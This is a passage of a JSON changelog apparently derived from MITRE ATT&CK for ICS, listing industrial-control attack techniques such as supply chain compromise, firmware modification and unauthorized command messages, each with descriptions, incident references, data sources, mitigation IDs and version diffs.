[ "M0807: Network Allowlists", "M0930: Network Segmentation", "M0931: Network Intrusion Prevention" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--5e0f75da-e108-4688-a6de-a4f07cc2cbe3", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-10-11 16:22:12.527000+00:00", "name": "Supply Chain Compromise", "description": "Adversaries may perform supply chain compromise to gain control systems environment access by means of infected products, software, and workflows. Supply chain compromise is the manipulation of products, such as devices or software, or their delivery mechanisms before receipt by the end consumer. Adversary compromise of these products and mechanisms is done for the goal of data or system compromise, once infected products are introduced to the target environment. \n\nSupply chain compromise can occur at all stages of the supply chain, from manipulation of development tools and environments to manipulation of developed products and tools distribution mechanisms. This may involve the compromise and replacement of legitimate software and patches, such as on third party or vendor websites. Targeting of supply chain compromise can be done in attempts to infiltrate the environments of a specific audience. In control systems environments with assets in both the IT and OT networks, it is possible a supply chain compromise affecting the IT environment could enable further access to the OT environment. Counterfeit devices may be introduced to the global supply chain posing safety and cyber risks to asset owners and operators. These devices may not meet the safety, engineering and manufacturing requirements of regulatory bodies but may feature tagging indicating conformance with industry standards. Due to the lack of adherence to standards and overall lesser quality, the counterfeit products may pose a serious safety and operational risk. Yokogawa identified instances in which their customers received counterfeit differential pressure transmitters using the Yokogawa logo. The counterfeit transmitters were nearly indistinguishable with a semblance of functionality and interface that mimics the genuine product.\n\nF-Secure Labs analyzed the approach the adversary used to compromise victim systems with Havex. (Citation: (Citation: Havex - F-Secure) - 201406) The adversary planted trojanized software installers available on legitimate ICS/SCADA vendor websites. After being downloaded, this software infected the host computer with a Remote Access Trojan (RAT).", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "initial-access-ics" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0862", "external_id": "T0862" }, { "source_name": "Control Global Yokogawa May 2019", "description": "Control Global. (2019, May 29). Yokogawa announcement warns of counterfeit transmitters. Retrieved April 9, 2021.", "url": "https://www.controlglobal.com/industrynews/2019/yokogawa-announcement-warns-of-counterfeit-transmitters/" }, { "source_name": "Havex - F-Secure - 201406", "description": "F-Secure Labs. (2014, June 23). Havex Hunts For ICS/SCADA Systems. Retrieved October 21, 2019.", "url": "https://www.f-secure.com/weblog/archives/00002718.html" }, { "source_name": "Havex - F-Secure", "description": "Daavid Hentunen, Antti Tikkanen. (2014, June 23). Havex Hunts For ICS/SCADA Systems. Retrieved April 1, 2019.", "url": "https://www.f-secure.com/weblog/archives/00002718.html" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_platforms": [ "Control Server", "Data Historian", "Field Controller/RTU/PLC/IED", "Human-Machine Interface", "Input/Output Server", "Safety Instrumented System/Protection Relay" ], "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Web proxy\", \"File monitoring\", \"Detonation chamber\", \"Digital signatures\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-11 16:22:12.527000+00:00\", \"old_value\": \"2021-04-13 12:19:26.506000+00:00\"}}}", "previous_version": "0.0", "changelog_mitigations": { "shared": [ "M0817: Supply Chain Management", "M0916: Vulnerability Scanning", "M0945: Code Signing", "M0947: Audit", "M0951: Update Software" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--b9160e77-ea9e-4ba9-b1c8-53a3c466b13d", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-10-08 15:25:32.143000+00:00", "name": "System Firmware", "description": "System firmware on modern assets is often designed with an update feature. Older device firmware may be factory installed and require special reprograming equipment. When available, the firmware update feature enables vendors to remotely patch bugs and perform upgrades. Device firmware updates are often delegated to the user and may be done using a software update package. It may also be possible to perform this task over the network. An adversary may exploit the firmware update feature on accessible devices to upload malicious or out-of-date firmware. Malicious modification of device firmware may provide an adversary with root access to a device, given firmware is one of the lowest programming abstraction layers.(Citation: Research - Firmware Modification)", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "persistence-ics" }, { "kill_chain_name": "mitre-ics-attack", "phase_name": "inhibit-response-function" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0857", "external_id": "T0857" }, { "source_name": "Research - Firmware Modification", "description": "Basnight, Zachry, et al.. (n.d.). Retrieved October 17, 2017.", "url": "http://www.sciencedirect.com/science/article/pii/S1874548213000231" }, { "source_name": "Ukraine15 - EISAC - 201603", "description": "Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018.", "url": "https://ics.sans.org/media/E-ISAC%20SANS%20Ukraine%20DUC%205.pdf" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Firmware: Firmware Modification", "Network Traffic: Network Traffic Content", "Network Traffic: Network Traffic Flow" ], "x_mitre_platforms": [ "Safety Instrumented System/Protection Relay", "Field Controller/RTU/PLC/IED", "Input/Output Server" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-08 15:25:32.143000+00:00\", \"old_value\": \"2020-05-21 17:43:26.506000+00:00\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"Firmware: Firmware Modification\", \"old_value\": \"Alarm history\"}, \"root['x_mitre_data_sources'][1]\": {\"new_value\": \"Network Traffic: Network Traffic Content\", \"old_value\": \"Sequential event recorder\"}, \"root['x_mitre_data_sources'][2]\": {\"new_value\": \"Network Traffic: Network Traffic Flow\", \"old_value\": \"Network protocol analysis\"}}, \"iterable_item_removed\": {\"root['x_mitre_data_sources'][3]\": \"Packet capture\"}}", "previous_version": "0.0", "changelog_mitigations": { "shared": [ "M0801: Access Management", "M0802: Communication Authenticity", "M0804: Human User Authentication", "M0807: Network Allowlists", "M0808: Encrypt Network Traffic", "M0813: Software Process and Device Authentication", "M0930: Network Segmentation", "M0937: Filter Network Traffic", "M0941: Encrypt Sensitive Information", "M0945: Code Signing", "M0946: Boot Integrity", "M0947: Audit", "M0951: Update Software" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--b7e13ee8-182c-4f19-92a4-a88d7d855d54", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-10-11 16:22:12.527000+00:00", "name": "Theft of Operational Information", "description": "Adversaries may steal operational information on a production environment as a direct mission outcome for personal gain or to inform future operations. This information may include design documents, schedules, rotational data, or similar artifacts that provide insight on operations. \n\nIn the Bowman Dam incident, adversaries probed systems for operational data. (Citation: Bowman Dam - Times) (Citation: Bowman Dam - wall street journal)", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "impact-ics" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0882", "external_id": "T0882" }, { "source_name": "Bowman Dam - Times", "description": "Mark Thompson. (2016, March 24). Iranian Cyber Attack on New York Dam Shows Future of War. Retrieved November 7, 2019.", "url": "https://time.com/4270728/iran-cyber-attack-dam-fbi/" }, { "source_name": "Bowman Dam - wall street journal", "description": "Danny Yadron. (2015, December 20). Iranian Hackers Infiltrated New York Dam in 2013. Retrieved November 7, 2019.", "url": "https://www.wsj.com/articles/iranian-hackers-infiltrated-new-york-dam-in-2013-1450662559" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_platforms": [ "None" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-11 16:22:12.527000+00:00\", \"old_value\": \"2020-05-21 17:43:26.506000+00:00\"}, \"root['x_mitre_platforms'][0]\": {\"new_value\": \"None\", \"old_value\": \"Windows\"}}}", "previous_version": "0.0", "changelog_mitigations": { "shared": [ "M0803: Data Loss Prevention", "M0809: Operational Information Confidentiality", "M0922: Restrict File and Directory Permissions", "M0941: Encrypt Sensitive Information" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--40b300ba-f553-48bf-862e-9471b220d455", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-10-08 15:25:32.143000+00:00", "name": "Unauthorized Command Message", "description": "Adversaries may send unauthorized command messages to instruct control system assets to perform actions outside of their intended functionality, or without the logical preconditions to trigger their expected function. Command messages are used in ICS networks to give direct instructions to control systems devices. If an adversary can send an unauthorized command message to a control system, then it can instruct the control systems device to perform an action outside the normal bounds of the device's actions. An adversary could potentially instruct a control systems device to perform an action that will cause an Impact. (Citation: Research - Research - Taxonomy Cyber Attacks on SCADA) In the Maroochy Attack, the adversary used a dedicated analog two-way radio system to send false data and instructions to pumping stations and the central computer. (Citation: Maroochy - MITRE - 200808) In the Dallas Siren incident, adversaries were able to send command messages to activate tornado alarm systems across the city without an impending tornado or other disaster. (Citation:ZDNet Dallas April 2017) (Citation:StateScoop Dallas March 2019)", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "impair-process-control" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0855", "external_id": "T0855" }, { "source_name": "StateScoop Dallas March 2019", "description": "Benjamin Freed. (2019, March 13). Tornado sirens in Dallas suburbs deactivated after being hacked and set off. Retrieved November 6, 2020.", "url": "https://statescoop.com/tornado-sirens-in-dallas-suburbs-deactivated-after-being-hacked-and-set-off/" }, { "source_name": "Research - Research - Taxonomy Cyber Attacks on SCADA", "description": "Bonnie Zhu, Anthony Joseph, Shankar Sastry. (2011). A Taxonomy of Cyber Attacks on SCADA Systems. Retrieved January 12, 2018.", "url": "http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258" }, { "source_name": "Ukraine15 - EISAC - 201603", "description": "Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018.", "url": "https://ics.sans.org/media/E-ISAC%20SANS%20Ukraine%20DUC%205.pdf" }, { "source_name": "Maroochy - MITRE - 200808", "description": "Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study\u2013 Maroochy Water Services, Australia. Retrieved March 27, 2018.", "url": "https://www.mitre.org/sites/default/files/pdf/08%201145.pdf" }, { "source_name": "ZDNet Dallas April 2017", "description": "Zack Whittaker. (2017, April 12). Dallas' emergency sirens were hacked with a rogue radio signal. Retrieved November 6, 2020.", "url": "https://www.zdnet.com/article/experts-think-they-know-how-dallas-emergency-sirens-were-hacked/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Network Traffic: Network Traffic Content", "Application Log: Application Log Content", "Operational Databases: Process History/Live Data", "Operational Databases: Process/Event Alarm" ], "x_mitre_platforms": [ "Field Controller/RTU/PLC/IED" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-08 15:25:32.143000+00:00\", \"old_value\": \"2021-04-13 09:28:26.506000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may send unauthorized command messages to instruct control system assets to perform actions outside of their intended functionality, or without the logical preconditions to trigger their expected function. Command messages are used in ICS networks to give direct instructions to control systems devices. If an adversary can send an unauthorized command message to a control system, then it can instruct the control systems device to perform an action outside the normal bounds of the device's actions. An adversary could potentially instruct a control systems device to perform an action that will cause an Impact. (Citation: Research - Research - Taxonomy Cyber Attacks on SCADA) In the Maroochy Attack, the adversary used a dedicated analog two-way radio system to send false data and instructions to pumping stations and the central computer. (Citation: Maroochy - MITRE - 200808) In the Dallas Siren incident, adversaries were able to send command messages to activate tornado alarm systems across the city without an impending tornado or other disaster. (Citation:ZDNet Dallas April 2017) (Citation:StateScoop Dallas March 2019)\", \"old_value\": \"Adversaries may send unauthorized command messages to instruct control system assets to perform actions outside of their intended functionality, or without the logical preconditions to trigger their expected function. Command messages are used in ICS networks to give direct instructions to control systems devices. If an adversary can send an unauthorized command message to a control system, then it can instruct the control systems device to perform an action outside the normal bounds of the device's actions. An adversary could potentially instruct a control systems device to perform an action that will cause an Impact. In the Maroochy Attack, the adversary used a dedicated analog two-way radio system to send false data and instructions to pumping stations and the central computer. In the Dallas Siren incident, adversaries were able to send command messages to activate tornado alarm systems across the city without an impending tornado or other disaster. Alarms were activated more than a dozen times. These disruptions occurred once in 2017, and later in a nearby county in 2019.\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"Network Traffic: Network Traffic Content\", \"old_value\": \"Alarm history\"}, \"root['x_mitre_data_sources'][1]\": {\"new_value\": \"Application Log: Application Log Content\", \"old_value\": \"Sequential event recorder\"}, \"root['x_mitre_data_sources'][2]\": {\"new_value\": \"Operational Databases: Process History/Live Data\", \"old_value\": \"Netflow/Enclave netflow\"}, \"root['x_mitre_data_sources'][3]\": {\"new_value\": \"Operational Databases: Process/Event Alarm\", \"old_value\": \"Packet capture\"}}, \"iterable_item_removed\": {\"root['x_mitre_data_sources'][4]\": \"Network protocol analysis\"}}", "previous_version": "0.0", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may send unauthorized command messages to instrut1Adversaries may send unauthorized command messages to instru
>ct control system assets to perform actions outside of their>ct control system assets to perform actions outside of their
> intended functionality, or without the logical precondition> intended functionality, or without the logical precondition
>s to trigger their expected function. Command messages are u>s to trigger their expected function. Command messages are u
>sed in ICS networks to give direct instructions to control s>sed in ICS networks to give direct instructions to control s
>ystems devices. If an adversary can send an unauthorized com>ystems devices. If an adversary can send an unauthorized com
>mand message to a control system, then it can instruct the c>mand message to a control system, then it can instruct the c
>ontrol systems device to perform an action outside the norma>ontrol systems device to perform an action outside the norma
>l bounds of the device's actions. An adversary could potenti>l bounds of the device's actions. An adversary could potenti
>ally instruct a control systems device to perform an action >ally instruct a control systems device to perform an action 
>that will cause an Impact. In the Maroochy Attack, the adver>that will cause an Impact. (Citation: Research - Research - 
>sary used a dedicated analog two-way radio system to send fa>Taxonomy Cyber Attacks on SCADA) In the Maroochy Attack, the
>lse data and instructions to pumping stations and the centra> adversary used a dedicated analog two-way radio system to s
>l computer. In the Dallas Siren incident, adversaries were a>end false data and instructions to pumping stations and the 
>ble to send command messages to activate tornado alarm syste>central computer. (Citation: Maroochy - MITRE - 200808) In t
>ms across the city without an impending tornado or other dis>he Dallas Siren incident, adversaries were able to send comm
>aster. Alarms were activated more than a dozen times. These >and messages to activate tornado alarm systems across the ci
>disruptions occurred once in 2017, and later in a nearby cou>ty without an impending tornado or other disaster. (Citation
>nty in 2019.>:ZDNet Dallas April 2017) (Citation:StateScoop Dallas March 
 >2019)
", "changelog_mitigations": { "shared": [ "M0802: Communication Authenticity", "M0807: Network Allowlists", "M0813: Software Process and Device Authentication", "M0930: Network Segmentation", "M0937: Filter Network Traffic" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--2736b752-4ec5-4421-a230-8977dea7649c", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-10-08 15:25:32.143000+00:00", "name": "User Execution", "description": "Adversaries may rely on a targeted organizations' user interaction for the execution of malicious code. User interaction may consist of installing applications, opening email attachments, or granting higher permissions to documents. \n\nAdversaries may embed malicious code or visual basic code into files such as Microsoft Word and Excel documents or software installers. (Citation: BlackEnergy - Booz Allen Hamilton) Execution of this code requires that the user enable scripting or write access within the document. Embedded code may not always be noticeable to the user especially in cases of trojanized software. (Citation: Havex - F-Secure) A Chinese spearphishing campaign running from December 9, 2011 through February 29, 2012 delivered malware through spearphishing attachments which required user action to achieve execution.(Citation: CISA Chinese Gas Pipeline Intrusion 2011 - 2013 July 2021)", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "execution-ics" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0863", "external_id": "T0863" }, { "source_name": "BlackEnergy - Booz Allen Hamilton", "description": "Booz Allen Hamilton. (n.d.). When The Lights Went Out. Retrieved October 22, 2019.", "url": "https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf" }, { "source_name": "Havex - F-Secure", "description": "Daavid Hentunen, Antti Tikkanen. (2014, June 23). Havex Hunts For ICS/SCADA Systems. Retrieved April 1, 2019.", "url": "https://www.f-secure.com/weblog/archives/00002718.html" }, { "source_name": "CISA Chinese Gas Pipeline Intrusion 2011 - 2013 July 2021", "description": "ONG2011 - DHS Advisory - Department of Justice (DOJ), DHS Cybersecurity & Infrastructure Security Agency (CISA). (2021, July 20). Chinese Gas Pipeline Intrusion Campaign, 2011 to 2013. Retrieved October 8, 2021.", "url": "https://us-cert.cisa.gov/sites/default/files/publications/AA21-201A_Chinese_Gas_Pipeline_Intrusion_Campaign_2011_to_2013%20(1).pdf" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Application Log: Application Log Content", "Command: Command Execution", "File: File Creation", "Network Traffic: Network Connection Creation", "Network Traffic: Network Traffic Content", "Process: Process Creation" ], "x_mitre_platforms": [ "Engineering Workstation", "Human-Machine Interface" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-08 15:25:32.143000+00:00\", \"old_value\": \"2020-05-21 17:43:26.506000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may rely on a targeted organizations' user interaction for the execution of malicious code. User interaction may consist of installing applications, opening email attachments, or granting higher permissions to documents. \\n\\nAdversaries may embed malicious code or visual basic code into files such as Microsoft Word and Excel documents or software installers. (Citation: BlackEnergy - Booz Allen Hamilton) Execution of this code requires that the user enable scripting or write access within the document. Embedded code may not always be noticeable to the user especially in cases of trojanized software. (Citation: Havex - F-Secure) A Chinese spearphishing campaign running from December 9, 2011 through February 29, 2012 delivered malware through spearphishing attachments which required user action to achieve execution.(Citation: CISA Chinese Gas Pipeline Intrusion 2011 - 2013 July 2021)\", \"old_value\": \"Adversaries may rely on a targeted organizations\\u2019 user interaction for the execution of malicious code. User interaction may consist of installing applications, opening email attachments, or granting higher permissions to documents. \\n\\nAdversaries may embed malicious code or visual basic code into files such as Microsoft Word and Excel documents or software installers. (Citation: BlackEnergy - Booz Allen Hamilton) Execution of this code requires that the user enable scripting or write access within the document. Embedded code may not always be noticeable to the user especially in cases of trojanized software. (Citation: Havex - F-Secure)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Adversaries may rely on a targeted organizations\\u2019 user interaction for the execution of malicious code. User interaction may consist of installing applications, opening email attachments, or granting higher permissions to documents. \\n+Adversaries may rely on a targeted organizations' user interaction for the execution of malicious code. User interaction may consist of installing applications, opening email attachments, or granting higher permissions to documents. \\n \\n-Adversaries may embed malicious code or visual basic code into files such as Microsoft Word and Excel documents or software installers. (Citation: BlackEnergy - Booz Allen Hamilton) Execution of this code requires that the user enable scripting or write access within the document. Embedded code may not always be noticeable to the user especially in cases of trojanized software. (Citation: Havex - F-Secure)\\n+Adversaries may embed malicious code or visual basic code into files such as Microsoft Word and Excel documents or software installers. (Citation: BlackEnergy - Booz Allen Hamilton) Execution of this code requires that the user enable scripting or write access within the document. Embedded code may not always be noticeable to the user especially in cases of trojanized software. (Citation: Havex - F-Secure) A Chinese spearphishing campaign running from December 9, 2011 through February 29, 2012 delivered malware through spearphishing attachments which required user action to achieve execution.(Citation: CISA Chinese Gas Pipeline Intrusion 2011 - 2013 July 2021)\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"Application Log: Application Log Content\", \"old_value\": \"Anti-virus\"}, \"root['x_mitre_data_sources'][1]\": {\"new_value\": \"Command: Command Execution\", \"old_value\": \"Process command-line parameters\"}, \"root['x_mitre_data_sources'][2]\": {\"new_value\": \"File: File Creation\", \"old_value\": \"Process monitoring\"}}, \"iterable_item_added\": {\"root['external_references'][3]\": {\"source_name\": \"CISA Chinese Gas Pipeline Intrusion 2011 - 2013 July 2021\", \"description\": \"ONG2011 - DHS Advisory - Department of Justice (DOJ), DHS Cybersecurity & Infrastructure Security Agency (CISA). (2021, July 20). Chinese Gas Pipeline Intrusion Campaign, 2011 to 2013. Retrieved October 8, 2021.\", \"url\": \"https://us-cert.cisa.gov/sites/default/files/publications/AA21-201A_Chinese_Gas_Pipeline_Intrusion_Campaign_2011_to_2013%20(1).pdf\"}, \"root['x_mitre_data_sources'][3]\": \"Network Traffic: Network Connection Creation\", \"root['x_mitre_data_sources'][4]\": \"Network Traffic: Network Traffic Content\", \"root['x_mitre_data_sources'][5]\": \"Process: Process Creation\"}}", "previous_version": "0.0", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may rely on a targeted organizations\u2019 user intert1Adversaries may rely on a targeted organizations' user inter
>action for the execution of malicious code. User interaction>action for the execution of malicious code. User interaction
> may consist of installing applications, opening email attac> may consist of installing applications, opening email attac
>hments, or granting higher permissions to documents.   Adver>hments, or granting higher permissions to documents.   Adver
>saries may embed malicious code or visual basic code into fi>saries may embed malicious code or visual basic code into fi
>les such as Microsoft Word and Excel documents or software i>les such as Microsoft Word and Excel documents or software i
>nstallers. (Citation: BlackEnergy - Booz Allen Hamilton) Exe>nstallers. (Citation: BlackEnergy - Booz Allen Hamilton) Exe
>cution of this code requires that the user enable scripting >cution of this code requires that the user enable scripting 
>or write access within the document. Embedded code may not a>or write access within the document. Embedded code may not a
>lways be noticeable to the user especially in cases of troja>lways be noticeable to the user especially in cases of troja
>nized software. (Citation: Havex - F-Secure)>nized software. (Citation: Havex - F-Secure) A Chinese spear
 >phishing campaign running from December 9, 2011 through Febr
 >uary 29, 2012 delivered malware through spearphishing attach
 >ments which required user action to achieve execution.(Citat
 >ion: CISA Chinese Gas Pipeline Intrusion 2011 - 2013 July 20
 >21)
", "changelog_mitigations": { "shared": [ "M0917: User Training", "M0921: Restrict Web-Based Content", "M0931: Network Intrusion Prevention", "M0938: Execution Prevention", "M0945: Code Signing", "M0949: Antivirus/Antimalware" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--cd2c76a4-5e23-4ca5-9c40-d5e0604f7101", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-10-08 15:25:32.143000+00:00", "name": "Valid Accounts", "description": "Adversaries may steal the credentials of a specific user or service account using credential access techniques. In some cases, default credentials for control system devices may be publicly available. Compromised credentials may be used to bypass access controls placed on various resources on hosts and within the network, and may even be used for persistent access to remote systems. Compromised and default credentials may also grant an adversary increased privilege to specific systems and devices or access to restricted areas of the network. Adversaries may choose not to use malware or tools, in conjunction with the legitimate access those credentials provide, to make it harder to detect their presence or to control devices and send legitimate commands in an unintended way. Adversaries may also create accounts, sometimes using predefined account names and passwords, to provide a means of backup access for persistence.(Citation: BlackEnergy - Booz Allen Hamilton) The overlap of credentials and permissions across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) and possibly between the enterprise and operational technology environments. Adversaries may be able to leverage valid credentials from one system to gain access to another system.", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "persistence-ics" }, { "kill_chain_name": "mitre-ics-attack", "phase_name": "lateral-movement-ics" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0859", "external_id": "T0859" }, { "source_name": "Ukraine15 - EISAC - 201603", "description": "Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018.", "url": "https://ics.sans.org/media/E-ISAC%20SANS%20Ukraine%20DUC%205.pdf" }, { "source_name": "BlackEnergy - Booz Allen Hamilton", "description": "Booz Allen Hamilton. (n.d.). When The Lights Went Out. Retrieved October 22, 2019.", "url": "https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Logon Session: Logon Session Creation", "User Account: User Account Authentication" ], "x_mitre_platforms": [ "Control Server", "Data Historian", "Engineering Workstation", "Field Controller/RTU/PLC/IED", "Human-Machine Interface", "Input/Output Server", "Safety Instrumented System/Protection Relay" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-08 15:25:32.143000+00:00\", \"old_value\": \"2020-05-21 17:43:26.506000+00:00\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"Logon Session: Logon Session Creation\", \"old_value\": \"Authentication logs\"}, \"root['x_mitre_data_sources'][1]\": {\"new_value\": \"User Account: User Account Authentication\", \"old_value\": \"Process monitoring\"}}}", "previous_version": "0.0", "changelog_mitigations": { "shared": [ "M0801: Access Management", "M0913: Application Developer Guidance", "M0915: Active Directory Configuration", "M0918: User Account Management", "M0926: Privileged Account Management", "M0927: Password Policies", "M0932: Multi-factor Authentication", "M0936: Account Use Policies", "M0937: Filter Network Traffic", "M0947: Audit" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--2877063e-1851-48d2-bcc6-bc1d2733157e", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-10-08 15:25:32.143000+00:00", "name": "Wireless Compromise", "description": "Adversaries may perform wireless compromise as a method of gaining communications and unauthorized access to a wireless network. Access to a wireless network may be gained through the compromise of a wireless device. (Citation: ICSCorsair - Bolshev) (Citation: Hart - Bolshev) Adversaries may also utilize radios and other wireless communication devices on the same frequency as the wireless network. Wireless compromise can be done as an initial access vector from a remote distance. \n\nA joint case study on the Maroochy Shire Water Services event examined the attack from a cyber security perspective. (Citation: Maroochy - MITRE - 200808) The adversary disrupted Maroochy Shire's radio-controlled sewage system by driving around with stolen radio equipment and issuing commands with them. Boden used a two-way radio to communicate with and set the frequencies of Maroochy Shire's repeater stations. \n\nA Polish student used a modified TV remote controller to gain access to and control over the Lodz city tram system in Poland. (Citation: LodzTram-LondonReconnections-2017-12) (Citation: LodzTram-InHomelandSecurity-2008-02) The remote controller device allowed the student to interface with the tram\u2019s network to modify track settings and override operator control. The adversary may have accomplished this by aligning the controller to the frequency and amplitude of IR control protocol signals. (Citation: LodzTram-Schneier-2008-01) The controller then enabled initial access to the network, allowing the capture and replay of tram signals. (Citation: LodzTram-LondonReconnections-2017-12)", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "initial-access-ics" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0860", "external_id": "T0860" }, { "source_name": "Hart - Bolshev", "description": "Alexander Bolshev. (2014, March 11). S4x14: HART As An Attack Vector. Retrieved January 5, 2020.", "url": "https://www.slideshare.net/dgpeters/17-bolshev-1-13" }, { "source_name": "ICSCorsair - Bolshev", "description": "Alexander Bolshev, Gleb Cherbov. (2014, July 08). ICSCorsair: How I will PWN your ERP through 4-20 mA current loop. Retrieved January 5, 2020.", "url": "https://www.blackhat.com/docs/us-14/materials/us-14-Bolshev-ICSCorsair-How-I-Will-PWN-Your-ERP-Through-4-20mA-Current-Loop-WP.pdf" }, { "source_name": "LodzTram-InHomelandSecurity-2008-02", "description": "Shelley Smith. (2008, February 12). Teen Hacker in Poland Plays Trains and Derails City Tram System. Retrieved October 17, 2019.", "url": "https://inhomelandsecurity.com/teen%20hacker%20in%20poland%20plays%20tr/" }, { "source_name": "LodzTram-LondonReconnections-2017-12", "description": "John Bill. (2017, May 12). Hacked Cyber Security Railways. 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[EKANS](https://attack.mitre.org/software/S0605) is distinct from other ransomware as it was written in Golang and aims to stop services and processes related to Industrial Control Systems.(Citation: Dragos EKANS)(Citation: Palo Alto Unit 42 EKANS)", "revoked": false, "labels": [ "malware" ], "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0605", "external_id": "S0605" }, { "source_name": "EKANS", "description": "(Citation: Dragos EKANS)(Citation: Palo Alto Unit 42 EKANS)(Citation: FireEye Ransomware Feb 2020)" }, { "source_name": "SNAKEHOSE", "description": "(Citation: FireEye Ransomware Feb 2020)" }, { "source_name": "Dragos EKANS", "description": "Dragos. (2020, February 3). EKANS Ransomware and ICS Operations. Retrieved February 9, 2021.", "url": 